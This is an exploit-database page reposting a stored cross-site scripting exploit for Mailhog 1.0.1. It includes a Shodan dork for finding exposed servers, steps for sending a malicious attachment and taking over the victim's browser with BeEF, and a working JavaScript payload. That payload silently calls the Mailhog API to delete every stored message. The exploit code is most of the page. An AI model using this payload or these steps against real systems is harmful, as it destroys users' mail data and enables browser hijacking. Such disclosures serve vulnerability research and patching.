Advertisement






Mailhog 1.0.1 Stored Cross-Site Scripting (XSS)

CVE Category Price Severity
CVE-2020-26112 CWE-79 $2,000 Medium
Author Risk Exploitation Type Date
Gjoko Krstic High Remote 2022-06-28
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N/E:F/RL:O/RC:C 0.921 0.84321

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022060083

Below is a copy:

Mailhog 1.0.1 Stored Cross-Site Scripting (XSS)
# Exploit Title: Mailhog 1.0.1 - Stored Cross-Site Scripting (XSS)
# Google Dork: https://www.shodan.io/search?query=mailhog ( > 3500)
# Date: 06.18.2022
# Exploit Author: Vulnz
# Vendor Homepage: https://github.com/mailhog/MailHog
# Software Link: https://github.com/mailhog/MailHog
# Version: 1.0.1
# Tested on: Windows,Linux,Docker
# CVE : N/A

Explanation:
Malicious users have the ability to send API requests to localhost and this request will be executed without any additional checks. As long as CSRF exists and unrestricted API calls as well, XSS could lead any API calls including  email deletion, sending, reading or any other call.

Steps to reproduce:
   1.   Create malicious attachment with payloads stated below
   2.   Attach malicious file to email with payload (XSS)
   3.   Send email
   4.   Wait for victim to open email
   5.   Receive data, get control of victim browser using Beef framework, or manipulate with API data


Proof of Concept:

<script>

var XMLHttpFactories = [

function () {

    return new XMLHttpRequest()

},

function () {

    return new ActiveXObject("Msxml2.XMLHTTP")

},

function () {

    return new ActiveXObject("Msxml3.XMLHTTP")

},

function () {

    return new ActiveXObject("Microsoft.XMLHTTP")

}

];

function createXMLHTTPObject() {

    var xmlhttp = false;

    for (var i=0;i<XMLHttpFactories.length;i++) {

        try {

            xmlhttp = XMLHttpFactories[i]();

        }

        catch (e) {

            continue;

        }

        break;

    }

    return xmlhttp;

}

var xhr = createXMLHTTPObject();

xhr.open("DELETE", "http://localhost:8025/api/v1/messages", true);

xhr.onreadystatechange = function()

{

    if (xhr.readyState == 4)

        alert("Request completed, with the following status code: " +
xhr.status);

}

xhr.send("");

</script>

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum